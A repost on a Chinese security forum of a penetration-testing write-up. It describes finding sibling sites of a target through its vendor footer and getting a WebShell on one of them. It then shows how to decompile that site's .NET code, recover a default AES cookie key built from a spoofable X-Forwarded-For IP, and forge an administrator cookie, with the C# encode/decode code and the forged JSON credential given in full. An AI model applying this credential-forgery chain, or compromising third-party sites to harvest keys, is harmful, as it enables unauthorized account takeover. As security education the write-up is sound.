安全矩阵

 找回密码
 立即注册
搜索
查看: 613|回复: 0

让渗透从黑盒变为“灰盒”

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-11-29 20:14:56 | 显示全部楼层 |阅读模式

让渗透从黑盒变为“灰盒”
原文链接:让渗透从黑盒变为“灰盒”
Broken5 猪猪谈安全 2022-11-29 19:00 发表于江苏
0x01 前言
在进行渗透测试时,经常会遇到一些比较讨厌的问题。例如:没有账号、注册的账号功能有限、不知道后台在哪等等。下面会讲述一种解决思路
网站的底部通常会有备案、主办单位、承办单位、技术支持等信息。通过“技术支持”这样的关键字可以在搜索引擎中找到与目标应用相同的网站,对这些网站进行的简单的渗透。利用从这些网站上获取的漏洞信息,再去攻击目标网站,往往可以获取很大的收益。
0x02 案例
在目标网站下方发现“技术支持”关键字
编辑
利用FOFA搜索关键字,发现相同的系统应用,下文统称为A网站
编辑
对A网站进行渗透测试发现存在一处任意文件上传,很简单的就获取了一个WebShell
注:原来目标网站也有任意文件只不过修复了
编辑
在WEB目录下存在Log文件夹且命名方式可以爆破
编辑
把这个漏洞信息利用到目标网站去,访问/Log/2020/返回403,说明目录存在
编辑
但是利用发现的命名规则以及常见的命名规则进行爆破,并没有成功。可惜了....
编辑
跳过这个日志这个点继续渗透,发现用户的登录凭证很有特征,像是AES或者DES加密
编辑

既然是AES或者DES加密那么密钥肯定在配置文件中或者源码中,于是把A网站的源码打包下载。由于是.Net的网站所以还要用ILSpy反编译dll文件查看源码
定位到登录口,发现了加密算法为AES
编辑
跟进AES.Encode函数,发现其密钥获取方式:"xxxxx"+IP
编辑
Utils.GetClientIP()获取的是XFF头,所以也是可控的
编辑
然后我就写了一个Decode进行一个验证
  1. using System;
  2. using System.Data;
  3. using System.Configuration;
  4. using System.Web;
  5. using System.Web.Security;
  6. using System.Web.UI;
  7. using System.Web.UI.WebControls;
  8. using System.Web.UI.WebControls.WebParts;
  9. using System.Web.UI.HtmlControls;
  10. using System.Security.Cryptography;
  11. using System.IO;
  12. using System.Text;

  13. public class AES
  14. {
  15.     public static byte[] Keys = new byte[16]
  16.     {
  17.         65,
  18.         114,
  19.         101,
  20.         121,
  21.         111,
  22.         117,
  23.         109,
  24.         121,
  25.         83,
  26.         110,
  27.         111,
  28.         119,
  29.         109,
  30.         97,
  31.         110,
  32.         63
  33.     };

  34.     public static string GetSubString(string p_SrcString, int p_StartIndex, int p_Length, string p_TailString)
  35.     {
  36.         string result = p_SrcString;
  37.         byte[] bytes = Encoding.UTF8.GetBytes(p_SrcString);
  38.         char[] chars = Encoding.UTF8.GetChars(bytes);
  39.         foreach (char c in chars)
  40.         {
  41.             if ((c > 'ࠀ' && c < '一') || (c > '가' && c < '힣'))
  42.             {
  43.                 if (p_StartIndex >= p_SrcString.Length)
  44.                 {
  45.                     return "";
  46.                 }
  47.                 return p_SrcString.Substring(p_StartIndex, (p_Length + p_StartIndex > p_SrcString.Length) ? (p_SrcString.Length - p_StartIndex) : p_Length);
  48.             }
  49.         }
  50.         if (p_Length >= 0)
  51.         {
  52.             byte[] bytes2 = Encoding.Default.GetBytes(p_SrcString);
  53.             if (bytes2.Length > p_StartIndex)
  54.             {
  55.                 int num = bytes2.Length;
  56.                 if (bytes2.Length > p_StartIndex + p_Length)
  57.                 {
  58.                     num = p_Length + p_StartIndex;
  59.                 }
  60.                 else
  61.                 {
  62.                     p_Length = bytes2.Length - p_StartIndex;
  63.                     p_TailString = "";
  64.                 }
  65.                 int num2 = p_Length;
  66.                 int[] array = new int[p_Length];
  67.                 byte[] array2 = null;
  68.                 int num3 = 0;
  69.                 for (int j = p_StartIndex; j < num; j++)
  70.                 {
  71.                     if (bytes2[j] > 127)
  72.                     {
  73.                         num3++;
  74.                         if (num3 == 3)
  75.                         {
  76.                             num3 = 1;
  77.                         }
  78.                     }
  79.                     else
  80.                     {
  81.                         num3 = 0;
  82.                     }
  83.                     array[j] = num3;
  84.                 }
  85.                 if (bytes2[num - 1] > 127 && array[p_Length - 1] == 1)
  86.                 {
  87.                     num2 = p_Length + 1;
  88.                 }
  89.                 array2 = new byte[num2];
  90.                 Array.Copy(bytes2, p_StartIndex, array2, 0, num2);
  91.                 result = Encoding.Default.GetString(array2);
  92.                 result += p_TailString;
  93.             }
  94.         }
  95.         return result;
  96.     }

  97.     public static string Encode(string encryptString, string encryptKey)
  98.     {
  99.         encryptKey = GetSubString(encryptKey, 0, 32, "");
  100.         encryptKey = encryptKey.PadRight(32, ' ');
  101.         RijndaelManaged rijndaelManaged = new RijndaelManaged();
  102.         rijndaelManaged.Key = Encoding.UTF8.GetBytes(encryptKey.Substring(0, 32));
  103.         rijndaelManaged.IV = Keys;
  104.         ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
  105.         byte[] bytes = Encoding.UTF8.GetBytes(encryptString);
  106.         byte[] inArray = cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length);
  107.         return Convert.ToBase64String(inArray);
  108.     }

  109.     public static string Decode(string decryptString, string decryptKey)
  110.     {
  111.         try
  112.         {
  113.             decryptKey = GetSubString(decryptKey,0, 32, "");
  114.             decryptKey = decryptKey.PadRight(32, ' ');
  115.             RijndaelManaged rijndaelManaged = new RijndaelManaged();
  116.             rijndaelManaged.Key = Encoding.UTF8.GetBytes(decryptKey);
  117.             rijndaelManaged.IV = Keys;
  118.             ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
  119.             byte[] array = Convert.FromBase64String(decryptString);
  120.             byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
  121.             return Encoding.UTF8.GetString(bytes);
  122.         }
  123.         catch
  124.         {
  125.             return "";
  126.         }
  127.     }

  128.     public static string Encode(string encryptString)
  129.     {
  130.         // 密钥
  131.         return Encode(encryptString, "xxxxxx" + "127.0.0.1");
  132.     }

  133.     public static string Decode(string decryptString)
  134.     {
  135.         // 密钥
  136.         return Decode(decryptString, "xxxxxx" + "127.0.0.1");
  137.     }

  138.     public static void Main(string[] args){
  139.         // 解密用户凭证
  140.         System.Console.WriteLine(Decode("xxxxx"));
  141.     }
  142. }
复制代码
验证步骤如下:
  •         修改XFF头为127.0.0.1

编辑
  •         随便注册个账号,登录目标网站,获取凭证

编辑
  •         用Decode解密用户凭证

编辑

最终成功解密了,这说明目标网站用的也是默认的加密密钥,所以存在用户凭证伪造(任意用户登陆)
伪造普通用户危害总是有限的。所以继续查看代码,发现管理员凭证使用也是同一种加密方式
编辑
修改Cookie为Weiyum访问目标网站后台,结果返回没有权限
编辑
进入Admin的基类查看,原来是根据用户的ID做了权限检测
编辑
怎样获取管理的ID呢?通常一款后台应用初始肯定是有一个默认的管理用户的,那么他的ID应该不是随机的。通过之前获取A网站的WebShell查询数据库,得知默认的AdmidID为ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a
然后用伪造用户信息
  1. {
  2.     "Type": 0,
  3.     "UserName": "71000019780612618X",
  4.     "RealName": "邵霞",
  5.     "Email": "test@qq.com",
  6.     "Tel": "13888888888",
  7.     "IDCard": "71000019780612618X",
  8.     "Password": "ce1c1cdc2fac8e1167f22cd4bd88d324",
  9.     "PasswordWay": "M",
  10.     "Remark": "",
  11.     "Avatar": "/Public/static/face/default_head_50.png",
  12.     "Gender": 0,
  13.     "Minority": "",
  14.     "NativePlace": "",
  15.     "Birth": "0001-01-01T00:00:00",
  16.     "ID": "ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a",
  17.     "CreateBy": "邵霞",
  18.     "CreateOn": "2020-08-02T01:56:26",
  19.     "UpdateBy": "",
  20.     "UpdateOn": null,
  21.     "Status": 1,
  22.     "IsAdd": false
  23. }
复制代码
利用Encode生成加密后的用户凭证public static void Main(string[] args){    System.Console.WriteLine(Encode("xxxx"));}
编辑
重新修改Weiyum,成功伪造管理员身份
编辑
0x03 总结
  •         利用网站的技术支持信息去搜寻相同的应用,然后对其进行渗透,尝试获取有用的漏洞信息
  •         通常可以尝试获取默认的密码规则,默认的日志、备份规则、默认的加密密钥
  •         如果有条件可以下载源码,对其进行代码审计

原文于:https://xz.aliyun.com/t/8347原文作者:Broken5

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 08:38 , Processed in 0.015901 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表